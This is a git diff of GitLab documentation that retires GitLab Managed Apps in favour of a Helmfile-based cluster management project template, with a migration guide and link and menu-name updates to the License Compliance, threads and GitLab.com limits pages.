-[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/runner/values.yaml)
-
-## Uninstalling applications
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/60665) in GitLab 11.11.
-
-The applications below can be uninstalled.
-
-| Application | GitLab version | Notes |
-| ----------- | -------------- | ----- |
-| cert-manager | 12.2+ | The associated private key is deleted and cannot be restored. Deployed applications continue to use HTTPS, but certificates aren't renewed. Before uninstalling, you may want to [back up your configuration](https://cert-manager.io/docs/tutorials/backup/) or [revoke your certificates](https://letsencrypt.org/docs/revoking/). |
-| GitLab Runner | 12.2+ | Any running pipelines are canceled. |
-| Helm | 12.2+ | The associated Tiller pod, the `gitlab-managed-apps` namespace, and all of its resources are deleted and cannot be restored. |
-| Ingress | 12.1+ | The associated load balancer and IP are deleted and cannot be restored. Furthermore, it can only be uninstalled if JupyterHub is not installed. |
-| JupyterHub | 12.1+ | All data not committed to GitLab are deleted and cannot be restored. |
-| Knative | 12.1+ | The associated IP are deleted and cannot be restored. |
-| Prometheus | 11.11+ | All data are deleted and cannot be restored. |
-| Crossplane | 12.5+ | All data are deleted and cannot be restored. |
-| Elastic Stack | 12.7+ | All data are deleted and cannot be restored. |
-| Sentry | 12.6+ | The PostgreSQL persistent volume remains and should be manually removed for complete uninstall. |
-
-To uninstall an application:
-
-1. For a:
- - [Project-level cluster](../project/clusters/index.md),
- navigate to your project's **Operations > Kubernetes**.
- - [Group-level cluster](../group/clusters/index.md),
- navigate to your group's **Kubernetes** page.
-1. Select your cluster.
-1. Click the **Uninstall** button for the application.
-
-Support for uninstalling all applications is planned for progressive rollout.
-To follow progress, see the [relevant epic](https://gitlab.com/groups/gitlab-org/-/epics/1201).
-
-## Troubleshooting applications
-
-Applications can fail with the following error:
-
-```plaintext
-Error: remote error: tls: bad certificate
-```
-
-To avoid installation errors:
-
-- Before starting the installation of applications, make sure that time is synchronized
- between your GitLab server and your Kubernetes cluster.
-- Ensure certificates are not out of sync. When installing applications, GitLab
- expects a new cluster with no previous installation of Helm.
-
- You can confirm that the certificates match by using `kubectl`:
-
- ```shell
- kubectl get configmaps/values-content-configuration-ingress -n gitlab-managed-apps -o \
- "jsonpath={.data['cert\.pem']}" | base64 -d > a.pem
- kubectl get secrets/tiller-secret -n gitlab-managed-apps -o "jsonpath={.data['ca\.crt']}" | base64 -d > b.pem
- diff a.pem b.pem
- ```
-
-### Error installing managed apps on EKS cluster
-
-If you're using a managed cluster on AWS EKS, and you are not able to install some of the managed
-apps, consider checking the logs.
-
-You can check the logs by running the following commands:
-
-```shell
-kubectl get pods --all-namespaces
-kubectl get services --all-namespaces
-```
-
-If you are getting the `Failed to assign an IP address to container` error, it's probably due to the
-instance type you've specified in the AWS configuration.
-The number and size of nodes might not have enough IP addresses to run or install those pods.
-
-For reference, all the AWS instance IP limits are found
-[in this AWS repository on GitHub](https://github.com/aws/amazon-vpc-cni-k8s/blob/master/pkg/awsutils/vpc_ip_resource_limit.go) (search for `InstanceENIsAvailable`).
-
-### Unable to install Prometheus
-
-Installing Prometheus is failing with the following error:
-
-```shell
-# kubectl -n gitlab-managed-apps logs install-prometheus
-...
-Error: Could not get apiVersions from Kubernetes: unable to retrieve the complete list of server APIs: admission.certmanager.k8s.io/v1beta1: the server is currently unable to handle the request
-```
-
-This is a bug that was introduced in Helm `2.15` and fixed in `3.0.2`. As a workaround,
-ensure [`cert-manager`](#cert-manager) is installed successfully prior to installing Prometheus.
-
-### Unable to create a Persistent Volume Claim with DigitalOcean
-
-Trying to create additional block storage volumes might lead to the following error when using DigitalOcean:
+## Browse applications logs
-```plaintext
-Server requested
-[Warning] pod has unbound immediate PersistentVolumeClaims (repeated 2 times)
-[Normal] pod didn't trigger scale-up (it wouldn't fit if a new node is added):
-Spawn failed: Timeout
-```
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36769) in GitLab 13.2.
-This is due to DigitalOcean imposing a few limits with regards to creating additional block storage volumes.
-[Learn more about DigitalOcean Block Storage Volumes limits.](https://www.digitalocean.com/docs/volumes/#limits)
+Logs produced by pods running **GitLab Managed Apps** can be browsed using
+[**Log Explorer**](../project/clusters/kubernetes_pod_logs.md).
## Take ownership of your GitLab Managed Apps
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/327803) in GitLab 13.12.
-With the removal of the [One-click install method](#install-with-one-click-deprecated) in GitLab 14.0,
-the **Applications** tab (under your project's **Operations > Kubernetes**)
-will no longer be displayed:
+With the removal of the One-click install method in GitLab 14.0,
+the **Applications** tab (under your project's **Infrastructure > Kubernetes clusters**)
+is no longer displayed:
![GitLab Managed Apps - Applications tab](img/applications_tab_v13_12.png)
@@ -1781,10 +1126,10 @@ If you choose to keep using Helm v2 (B), follow the steps below to manage your a
### Cluster integrations
-Some applications were not only installed in your cluster by GitLab through Managed Apps but were also
-directly integrated with GitLab so that you could benefit from seeing, controlling, or getting notified
-about them through GitLab.
-To keep them integrated, read the documentation for:
+Some applications were not only installed in your cluster by GitLab through
+Managed Apps but were also directly integrated with GitLab. If you had one of
+these applications installed before GitLab 14.0, then a corresponding [cluster
+integration](integrations.md) has been automatically enabled:
- [Prometheus cluster integration](integrations.md#prometheus-cluster-integration)
- [Elastic Stack cluster integration](integrations.md#elastic-stack-cluster-integration)
diff --git a/doc/user/clusters/cost_management.md b/doc/user/clusters/cost_management.md
index d1df5642514..26611c26e5e 100644
--- a/doc/user/clusters/cost_management.md
+++ b/doc/user/clusters/cost_management.md
@@ -33,9 +33,9 @@ permissions in a project or group.
1. Connect GitLab with Prometheus, depending on your configuration:
- *If Prometheus is already configured,* navigate to **Settings > Integrations > Prometheus**
to provide the API endpoint of your Prometheus server.
- - *For GitLab-managed Prometheus,* navigate to your cluster's **Details** page,
- select the **Applications** tab, and install Prometheus. The integration is
- auto-configured for you.
+ - *To use the Prometheus cluster integration,* navigate to your cluster's **Details** page,
+ select the **Integrations** tab, and follow the instructions to enable the Prometheus
+ cluster integration.
1. Set up the Prometheus integration on the cloned example project.
1. Add the Kubecost `cost-model` to your cluster:
- *For non-managed clusters*, deploy it with GitLab CI/CD.
@@ -46,7 +46,7 @@ permissions in a project or group.
kubectl apply -f kubernetes/ --namespace cost-model
```
-To access the cost insights, navigate to **Operations > Metrics** and select
+To access the cost insights, navigate to **Monitor > Metrics** and select
the `default_costs.yml` dashboard. You can [customize](#customize-the-cost-dashboard)
this dashboard.
diff --git a/doc/user/clusters/crossplane.md b/doc/user/clusters/crossplane.md
index bdf9d582b93..8906d1224b1 100644
--- a/doc/user/clusters/crossplane.md
+++ b/doc/user/clusters/crossplane.md
@@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Crossplane configuration **(FREE)**
-After [installing](applications.md#crossplane) Crossplane, you must configure it for use.
+After [installing](applications.md#install-crossplane-using-gitlab-cicd) Crossplane, you must configure it for use.
The process of configuring Crossplane includes:
1. [Configure RBAC permissions](#configure-rbac-permissions).
diff --git a/doc/user/clusters/img/fluentd_v13_0.png b/doc/user/clusters/img/fluentd_v13_0.png
deleted file mode 100644
index edc73285238..00000000000
--- a/doc/user/clusters/img/fluentd_v13_0.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/clusters/integrations.md b/doc/user/clusters/integrations.md
index a8b181f8726..6c87efaf5a3 100644
--- a/doc/user/clusters/integrations.md
+++ b/doc/user/clusters/integrations.md
@@ -14,6 +14,17 @@ To enable cluster integrations, first add a Kubernetes cluster to a GitLab
[group](../group/clusters/index.md#group-level-kubernetes-clusters) or
[instance](../instance/clusters/index.md).
+You can install your applications manually as shown in the following sections, or use the
+[Cluster management project template](management_project_template.md) that automates the
+installation.
+
+Although, the [Cluster management project template](management_project_template.md) still
+requires that you manually do the last steps of these sections,
+[Enable Prometheus integration for your cluster](#enable-prometheus-integration-for-your-cluster)
+or [Enable Elastic Stack integration for your cluster](#enable-elastic-stack-integration-for-your-cluster)
+depending on which application you are installing. We plan to also automate this step in the future,
+see the [opened issue](https://gitlab.com/gitlab-org/gitlab/-/issues/326565).
+
## Prometheus cluster integration
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55244) in GitLab 13.11.
@@ -43,10 +54,8 @@ it up using [Helm](https://helm.sh/) as follows:
kubectl create ns gitlab-managed-apps
# Download Helm chart values that is compatible with the requirements above.
-# You should substitute the tag that corresponds to the GitLab version in the URL
-# - https://gitlab.com/gitlab-org/gitlab/-/raw/<tag>/vendor/prometheus/values.yaml
-#
-wget https://gitlab.com/gitlab-org/gitlab/-/raw/v13.9.0-ee/vendor/prometheus/values.yaml
+# These are included in the Cluster Management project template.
+wget https://gitlab.com/gitlab-org/project-templates/cluster-management/-/raw/master/applications/prometheus/values.yaml
# Add the Prometheus community Helm chart repository
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
@@ -64,7 +73,7 @@ To enable the Prometheus integration for your cluster:
1. Go to the cluster's page:
- For a [project-level cluster](../project/clusters/index.md), navigate to your project's
- **Operations > Kubernetes**.
+ **Infrastructure > Kubernetes clusters**.
- For a [group-level cluster](../group/clusters/index.md), navigate to your group's
**Kubernetes** page.
- For an [instance-level cluster](../instance/clusters/index.md), navigate to your instance's
@@ -103,10 +112,8 @@ running:
kubectl create namespace gitlab-managed-apps
# Download Helm chart values that is compatible with the requirements above.
-# You should substitute the tag that corresponds to the GitLab version in the URL
-# - https://gitlab.com/gitlab-org/gitlab/-/raw/<tag>/vendor/elastic_stack/values.yaml
-#
-wget https://gitlab.com/gitlab-org/gitlab/-/raw/v13.9.0-ee/vendor/elastic_stack/values.yaml
+# These are included in the Cluster Management project template.
+wget https://gitlab.com/gitlab-org/project-templates/cluster-management/-/raw/master/applications/elastic-stack/values.yaml
# Add the GitLab Helm chart repository
helm repo add gitlab https://charts.gitlab.io
@@ -121,7 +128,7 @@ To enable the Elastic Stack integration for your cluster:
1. Go to the cluster's page:
- For a [project-level cluster](../project/clusters/index.md), navigate to your project's
- **Operations > Kubernetes**.
+ **Infrastructure > Kubernetes clusters**.
- For a [group-level cluster](../group/clusters/index.md), navigate to your group's
**Kubernetes** page.
- For an [instance-level cluster](../instance/clusters/index.md), navigate to your instance's
diff --git a/doc/user/clusters/management_project.md b/doc/user/clusters/management_project.md
index e728577e194..f741ab2d95a 100644
--- a/doc/user/clusters/management_project.md
+++ b/doc/user/clusters/management_project.md
@@ -6,10 +6,6 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Cluster management project **(FREE)**
-WARNING:
-This is an _alpha_ feature, and it is subject to change at any time without
-prior notice.
-
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32810) in GitLab 12.5
A project can be designated as the management project for a cluster.
@@ -20,7 +16,7 @@ privileges.
This can be useful for:
-- Creating pipelines to install cluster-wide applications into your cluster, see [Install using GitLab CI/CD (beta)](applications.md#install-using-gitlab-cicd-deprecated) for details.
+- Creating pipelines to install cluster-wide applications into your cluster, see [management project template](management_project_template.md) for details.
- Any jobs that require `cluster-admin` privileges.
## Permissions
@@ -50,7 +46,7 @@ To select a cluster management project to use:
1. Navigate to the appropriate configuration page. For a:
- [Project-level cluster](../project/clusters/index.md), navigate to your project's
- **Operations > Kubernetes** page.
+ **Infrastructure > Kubernetes clusters** page.
- [Group-level cluster](../group/clusters/index.md), navigate to your group's **Kubernetes**
page.
- [Instance-level cluster](../instance/clusters/index.md), navigate to Admin Area's **Kubernetes**
diff --git a/doc/user/clusters/management_project_template.md b/doc/user/clusters/management_project_template.md
new file mode 100644
index 00000000000..52390cb18b0
--- /dev/null
+++ b/doc/user/clusters/management_project_template.md
@@ -0,0 +1,86 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Cluster Management Project Template **(FREE)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25318) in GitLab 12.10 with Helmfile support via Helm v2.
+> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63577) in GitLab 14.0 with Helmfile support via Helm v3 instead, and a much more flexible usage of Helmfile. This introduces breaking changes that are detailed below.
+
+This [GitLab built-in project template](../project/working_with_projects.md#built-in-templates)
+provides a quicker start for users interested in managing cluster
+applications via [Helm v3](https://helm.sh/) charts. More specifically, taking advantage of the
+[Helmfile](https://github.com/roboll/helmfile) utility client. The template consists of some pre-configured apps that
+should help you get started quickly using various GitLab features. Still, you have all the flexibility to remove the ones you do not
+need, or even add new ones that are not built-in.
+
+## How to use this template
+
+1. Create a new project, choosing "GitLab Cluster Management" from the list of [built-in project templates](../project/working_with_projects.md#built-in-templates).
+1. Make this project a [cluster management project](management_project.md).
+1. If you used the [GitLab Managed Apps](applications.md), refer to
+ [Migrating from GitLab Manged Apps](migrating_from_gma_to_project_template.md).
+
+### Components
+
+In the repository of the newly-created project, you will find:
+
+- A predefined [`.gitlab-ci.yml`](https://gitlab.com/gitlab-org/project-templates/cluster-management/-/blob/master/.gitlab-ci.yml)
+ file, with a CI pipeline already configured.
+- A main [`helmfile.yaml`](https://gitlab.com/gitlab-org/project-templates/cluster-management/-/blob/master/helmfile.yaml) to toggle which applications you would like to manage.
+- An `applications` directory with a `helmfile.yaml` configured for each application GitLab provides.
+
+#### The `.gitlab-ci.yml` file
+
+The base image used in your pipeline is built by the [cluster-applications](https://gitlab.com/gitlab-org/cluster-integration/cluster-applications)
+project. This image consists of a set of Bash utility scripts to support [Helm v3 releases](https://helm.sh/docs/intro/using_helm/#three-big-concepts):
+
+- `gl-fail-if-helm2-releases-exist {namespace}`: It tries to detect whether you have apps deployed through Helm v2
+ releases for a given namespace. If so, it will fail the pipeline and ask you to manually
+ [migrate your Helm v2 releases to Helm v3](https://helm.sh/docs/topics/v2_v3_migration/).
+- `gl-ensure-namespace {namespace}`: It creates the given namespace if it does not exist and adds the necessary label
+ for the [Cilium](https://github.com/cilium/cilium/) app network policies to work.
+- `gl-adopt-resource-with-helm-v3 {arguments}`: Used only internally in the [cert-manager's](https://cert-manager.io/) Helmfile to
+ facilitate the GitLab Managed Apps adoption.
+- `gl-adopt-crds-with-helm-v3 {arguments}`: Used only internally in the [cert-manager's](https://cert-manager.io/) Helmfile to
+ facilitate the GitLab Managed Apps adoption.
+- `gl-helmfile {arguments}`: A thin wrapper that triggers the [Helmfile](https://github.com/roboll/helmfile) command.
+
+#### The main `helmfile.yml` file
+
+This file has a list of paths to other Helmfiles for each app. They're all commented out by default, so you must uncomment
+the paths for the apps that you would like to manage.
+
+By default, each `helmfile.yaml` in these sub-paths will have the attribute `installed: true`, which signifies that everytime
+the pipeline runs, Helmfile will try to either install or update your apps according to the current state of your
+cluster and Helm releases. If you change this attribute to `installed: false`, Helmfile will try to uninstall this app
+from your cluster. [Read more](https://github.com/roboll/helmfile) about how Helmfile works.
+
+Furthermore, each app has an `applications/{app}/values.yaml` file. This is the
+place where you can define some default values for your app's Helm chart. Some apps will already have defaults
+pre-defined by GitLab.
+
+#### Built-in applications
+
+The built-in applications are intended to provide an easy way to get started with various Kubernetes oriented GitLab features.
+
+The [built-in supported applications](https://gitlab.com/gitlab-org/project-templates/cluster-management/-/tree/master/applications) are:
+
+- Apparmor
+- Cert-manager
+- Cilium
+- Elastic Stack
+- Falco
+- Fluentd
+- GitLab Runner
+- Ingress
+- Prometheus
+- Sentry
+- Vault
+
+### Migrating from GitLab Managed Apps
+
+If you had GitLab Managed Apps, either One-Click or CI/CD install, read the docs on how to
+[migrate from GitLab Managed Apps to project template](migrating_from_gma_to_project_template.md)
diff --git a/doc/user/clusters/migrating_from_gma_to_project_template.md b/doc/user/clusters/migrating_from_gma_to_project_template.md
new file mode 100644
index 00000000000..7fa6ccea433
--- /dev/null
+++ b/doc/user/clusters/migrating_from_gma_to_project_template.md
@@ -0,0 +1,95 @@
+---
+stage: Configure
+group: Configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Migrating from GitLab Managed Apps to a management project template
+
+The [GitLab Managed Apps](applications.md) are deprecated in GitLab 14.0. To migrate to the new way of managing them:
+
+1. Read how the [management project template](management_project_template.md) works, and
+ create a new project based on the "GitLab Cluster Management" template.
+1. Create a new project as explained in the [management project template](management_project_template.md).
+1. Detect apps deployed through Helm v2 releases by using the pre-configured [`.gitlab-ci.yml`](management_project_template.md#the-gitlab-ciyml-file) file:
+ - In case you had overwritten the default GitLab Managed Apps namespace, edit `.gitlab-ci.yml`,
+ and make sure the script is receiving the correct namespace as an argument:
+
+ ```yaml
+ script:
+ - gl-fail-if-helm2-releases-exist <your_custom_namespace>
+ ```
+
+ - If you kept the default name (`gitlab-managed-apps`), then the script is already
+ set up.
+
+ Either way, [run a pipeline manually](../../ci/pipelines/index.md#run-a-pipeline-manually) and read the logs of the
+ `detect-helm2-releases` job to know if you have any Helm v2 releases and which are they.
+
+1. If you have no Helm v2 releases, skip this step. Otherwise, follow the official Helm docs on
+ [how to migrate from Helm v2 to Helm v3](https://helm.sh/blog/migrate-from-helm-v2-to-helm-v3/),
+ and clean up the Helm v2 releases after you are confident that they have been successfully migrated.
+
+1. In this step you should already have only Helm v3 releases.
+ Uncomment from the main [`./helmfile.yaml`](management_project_template.md#the-main-helmfileyml-file) the paths for the
+ applications that you would like to manage with this project. Although you could uncomment all the ones you want to
+ managed at once, we recommend you repeat the following steps separately for each app, so you do not get lost during
+ the process.
+1. Edit the associated `applications/{app}/helmfiles.yaml` to match the chart version currently deployed
+ for your app. Take a GitLab Runner Helm v3 release as an example:
+
+ The following command lists the releases and their versions:
+
+ ```shell
+ helm ls -n gitlab-managed-apps
+
+ NAME NAMESPACE REVISION UPDATED STATUS CHART APP VERSION
+ runner gitlab-managed-apps 1 2021-06-09 19:36:55.739141644 +0000 UTC deployed gitlab-runner-0.28.0 13.11.0
+ ```
+
+ Take the version from the `CHART` column which is in the format `{release}-v{chart_version}`,
+ then edit the `version:` attribute in the `./applications/gitlab-runner/helmfile.yaml`, so that it matches the version
+ you have currently deployed. This is a safe step to avoid upgrading versions during this migration.
+ Make sure you replace `gitlab-managed-apps` from the above command if you have your apps deployed to a different
+ namespace.
+
+1. Edit the `applications/{app}/values.yaml` associated with your app to match the currently
+ deployed values. For example, for GitLab Runner:
+
+ 1. Copy the output of the following command (it might be big):
+
+ ```shell
+ helm get values runner -n gitlab-managed-apps -a --output yaml
+ ```
+
+ 1. Overwrite `applications/gitlab-runner/values.yaml` with the output of the previous command.
+
+ This safe step will guarantee that no unexpected default values overwrite your currently deployed values.
+ For instance, your GitLab Runner could have its `gitlabUrl` or `runnerRegistrationToken` overwritten by mistake.
+
+1. Some apps require special attention:
+
+ - Ingress: Due to an existing [chart issue](https://github.com/helm/charts/pull/13646), you might see
+ `spec.clusterIP: Invalid value` when trying to run the [`./gl-helmfile`](management_project_template.md#the-gitlab-ciyml-file)
+ command. To work around this, after overwriting the release values in `applications/ingress/values.yaml`,
+ you might need to overwrite all the occurrences of `omitClusterIP: false`, setting it to `omitClusterIP: true`.
+ Another approach,could be to collect these IPs by running `kubectl get services -n gitlab-managed-apps`
+ and then overwriting each `ClusterIP` that it complains about with the value you got from that command.
+
+ - Vault: This application introduces a breaking change from the chart we used in Helm v2 to the chart
+ used in Helm v3. So, the only way to integrate it with this Cluster Management Project is to actually uninstall this app and accept the
+ chart version proposed in `applications/vault/values.yaml`.
+
+1. After following all the previous steps, [run a pipeline manually](../../ci/pipelines/index.md#run-a-pipeline-manually)
+ and watch the `apply` job logs to see if any of your applications were successfully detected, installed, and whether they got any
+ unexpected updates.
+
+ Some annotation checksums are expected to be updated, as well as this attribute:
+
+ ```diff
+ --- heritage: Tiller
+ +++ heritage: Tiller
+ ```
+
+After getting a successful pipeline, repeat these steps for any other deployed apps
+you want to manage with the Cluster Management Project.
diff --git a/doc/user/compliance/license_compliance/index.md b/doc/user/compliance/license_compliance/index.md
index 43dbafb8f6f..f757a548aee 100644
--- a/doc/user/compliance/license_compliance/index.md
+++ b/doc/user/compliance/license_compliance/index.md
@@ -91,11 +91,11 @@ To run a License Compliance scanning job, you need GitLab Runner with the
For GitLab 12.8 and later, to enable License Compliance, you must
[include](../../../ci/yaml/README.md#includetemplate) the
-[`License-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/License-Scanning.gitlab-ci.yml)
+[`License-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/License-Scanning.gitlab-ci.yml)
that's provided as a part of your GitLab installation.
For older versions of GitLab from 11.9 to 12.7, you must
[include](../../../ci/yaml/README.md#includetemplate) the
-[`License-Management.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/License-Management.gitlab-ci.yml).
+[`License-Management.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/d2cc841c55d65bc8134bfb3a467e66c36ac32b0a/lib/gitlab/ci/templates/Security/License-Management.gitlab-ci.yml).
For GitLab versions earlier than 11.9, you can copy and use the job as defined
that template.
@@ -121,7 +121,7 @@ always take the latest License Compliance artifact available. Behind the scenes,
[GitLab License Compliance Docker image](https://gitlab.com/gitlab-org/security-products/analyzers/license-finder)
is used to detect the languages/frameworks and in turn analyzes the licenses.
-The License Compliance settings can be changed through [CI/CD variables](#available-variables) by using the
+The License Compliance settings can be changed through [CI/CD variables](#available-cicd-variables) by using the
[`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`.
### When License Compliance runs
@@ -129,7 +129,7 @@ The License Compliance settings can be changed through [CI/CD variables](#availa
When using the GitLab `License-Scanning.gitlab-ci.yml` template, the License Compliance job doesn't
wait for other stages to complete.
-### Available variables
+### Available CI/CD variables
License Compliance can be configured using CI/CD variables.
@@ -153,7 +153,7 @@ License Compliance can be configured using CI/CD variables.
> Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.4.
-The `license_management` image already embeds many auto-detection scripts, languages,
+The `license_finder` image already embeds many auto-detection scripts, languages,
and packages. Nevertheless, it's almost impossible to cover all cases for all projects.
That's why sometimes it's necessary to install extra packages, or to have extra steps
in the project automated setup, like the download and installation of a certificate.
@@ -265,11 +265,11 @@ license_scanning:
### Custom root certificates for Python
You can supply a custom root certificate to complete TLS verification by using the
-`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables).
+`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables).
#### Using private Python repositories
-If you have a private Python repository you can use the `PIP_INDEX_URL` [CI/CD variable](#available-variables)
+If you have a private Python repository you can use the `PIP_INDEX_URL` [CI/CD variable](#available-cicd-variables)
to specify its location.
### Configuring npm projects
@@ -292,7 +292,7 @@ registry = https://npm.example.com
#### Custom root certificates for npm
You can supply a custom root certificate to complete TLS verification by using the
-`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables).
+`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables).
To disable TLS verification you can provide the [`strict-ssl`](https://docs.npmjs.com/using-npm/config/#strict-ssl)
setting.
@@ -323,7 +323,7 @@ npmRegistryServer: "https://npm.example.com"
#### Custom root certificates for Yarn
You can supply a custom root certificate to complete TLS verification by using the
-`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables).
+`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables).
### Configuring Bower projects
@@ -347,7 +347,7 @@ For example:
#### Custom root certificates for Bower
You can supply a custom root certificate to complete TLS verification by using the
-`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables), or by
+`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables), or by
specifying a `ca` setting in a [`.bowerrc`](https://bower.io/docs/config/#bowerrc-specification)
file.
@@ -368,7 +368,7 @@ source "https://gems.example.com"
#### Custom root certificates for Bundler
You can supply a custom root certificate to complete TLS verification by using the
-`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables), or by
+`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables), or by
specifying a [`BUNDLE_SSL_CA_CERT`](https://bundler.io/v2.0/man/bundle-config.1.html)
[variable](../../../ci/variables/README.md#custom-cicd-variables)
in the job definition.
@@ -392,7 +392,7 @@ my-registry = { index = "https://my-intranet:8080/git/index" }
To supply a custom root certificate to complete TLS verification, do one of the following:
-- Use the `ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables).
+- Use the `ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables).
- Specify a [`CARGO_HTTP_CAINFO`](https://doc.rust-lang.org/cargo/reference/environment-variables.html)
[variable](../../../ci/variables/README.md#custom-cicd-variables)
in the job definition.
@@ -425,7 +425,7 @@ For example:
#### Custom root certificates for Composer
You can supply a custom root certificate to complete TLS verification by using the
-`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables), or by
+`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables), or by
specifying a [`COMPOSER_CAFILE`](https://getcomposer.org/doc/03-cli.md#composer-cafile)
[variable](../../../ci/variables/README.md#custom-cicd-variables)
in the job definition.
@@ -499,7 +499,7 @@ You can provide custom certificates by adding a `.conan/cacert.pem` file to the
setting [`CA_CERT_PATH`](https://docs.conan.io/en/latest/reference/env_vars.html#conan-cacert-path)
to `.conan/cacert.pem`.
-If you specify the `ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables), this
+If you specify the `ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables), this
variable's X.509 certificates are installed in the Docker image's default trust store and Conan is
configured to use this as the default `CA_CERT_PATH`.
@@ -507,7 +507,7 @@ configured to use this as the default `CA_CERT_PATH`.
To configure [Go modules](https://github.com/golang/go/wiki/Modules)
based projects, specify [CI/CD variables](https://golang.org/pkg/cmd/go/#hdr-Environment_variables)
-in the `license_scanning` job's [variables](#available-variables) section in `.gitlab-ci.yml`.
+in the `license_scanning` job's [variables](#available-cicd-variables) section in `.gitlab-ci.yml`.
If a project has [vendored](https://golang.org/pkg/cmd/go/#hdr-Vendor_Directories) its modules,
then the combination of the `vendor` directory and `mod.sum` file are used to detect the software
@@ -556,10 +556,13 @@ For example:
#### Custom root certificates for NuGet
You can supply a custom root certificate to complete TLS verification by using the
-`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-variables).
+`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables).
### Migration from `license_management` to `license_scanning`
+WARNING:
+The `license_management` job was deprecated in GitLab 12.8. The `License-Management.gitlab-ci.yml` template was removed from GitLab 14.0.
+
In GitLab 12.8 a new name for `license_management` job was introduced. This change was made to improve clarity around the purpose of the scan, which is to scan and collect the types of licenses present in a projects dependencies.
GitLab 13.0 drops support for `license_management`.
If you're using a custom setup for License Compliance, you're required
@@ -730,8 +733,9 @@ Developers of the project can view the policies configured in a project.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13067) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.3.
-`License-Check` is a [security approval](../../application_security/index.md#enabling-security-approvals-within-a-project) rule you can enable to allow an individual or group to approve a
-merge request that contains a `denied` license.
+`License-Check` is a [merge request approval](../../project/merge_requests/approvals/index.md) rule
+you can enable to allow an individual or group to approve a merge request that contains a `denied`
+license.
You can enable `License-Check` one of two ways:
@@ -816,7 +820,7 @@ license_scanning:
ASDF_RUBY_VERSION: '2.7.2'
```
-A full list of variables can be found in [CI/CD variables](#available-variables).
+A full list of variables can be found in [CI/CD variables](#available-cicd-variables).
To find out what tools are pre-installed in the `license_scanning` Docker image use the following command:
diff --git a/doc/user/discussions/index.md b/doc/user/discussions/index.md
index 50007545a65..cf57afb8324 100644
--- a/doc/user/discussions/index.md
+++ b/doc/user/discussions/index.md
@@ -7,7 +7,8 @@ type: reference, howto
# Threads **(FREE)**
-GitLab encourages communication through comments, threads, and suggestions.
+GitLab encourages communication through comments, threads, and
+[code suggestions](../project/merge_requests/reviews/suggestions.md).
For example, you can create a comment in the following places:
@@ -22,8 +23,10 @@ There are standard comments, and you also have the option to create a comment
in the form of a thread. A comment can also be [turned into a thread](#start-a-thread-by-replying-to-a-standard-comment)
when it receives a reply.
-The comment area supports [Markdown](../markdown.md) and [quick actions](../project/quick_actions.md). You can edit your own
-comment at any time, and anyone with [Maintainer access level](../permissions.md) or
+The comment area supports [Markdown](../markdown.md) and [quick actions](../project/quick_actions.md).
+You can [suggest code changes](../project/merge_requests/reviews/suggestions.md) in your comment,
+which the user can accept through the user interface. You can edit your own
+comment at any time, and anyone with the [Maintainer role](../permissions.md) or
higher can also edit a comment made by someone else.
You can also reply to a comment notification email to reply to the comment if
diff --git a/doc/user/gitlab_com/index.md b/doc/user/gitlab_com/index.md
index cdb4ca52c9c..223d3363186 100644
--- a/doc/user/gitlab_com/index.md
+++ b/doc/user/gitlab_com/index.md
@@ -153,289 +153,19 @@ content directly from common public CDN hostnames.
## Webhooks
-A limit of:
+The following limits apply for [Webhooks](../project/integrations/webhooks.md):
-- 100 webhooks applies to projects.
-- 50 webhooks applies to groups. **(BRONZE ONLY)**
-- Payload is limited to 25MB
+| Setting | GitLab.com | Default |
+| ------- | ---------- | ------- |
+| [Webhook rate limit](../../administration/instance_limits.md#webhook-rate-limit) | `120` calls per minute for Free tier, unlimited for all paid tiers | Unlimited
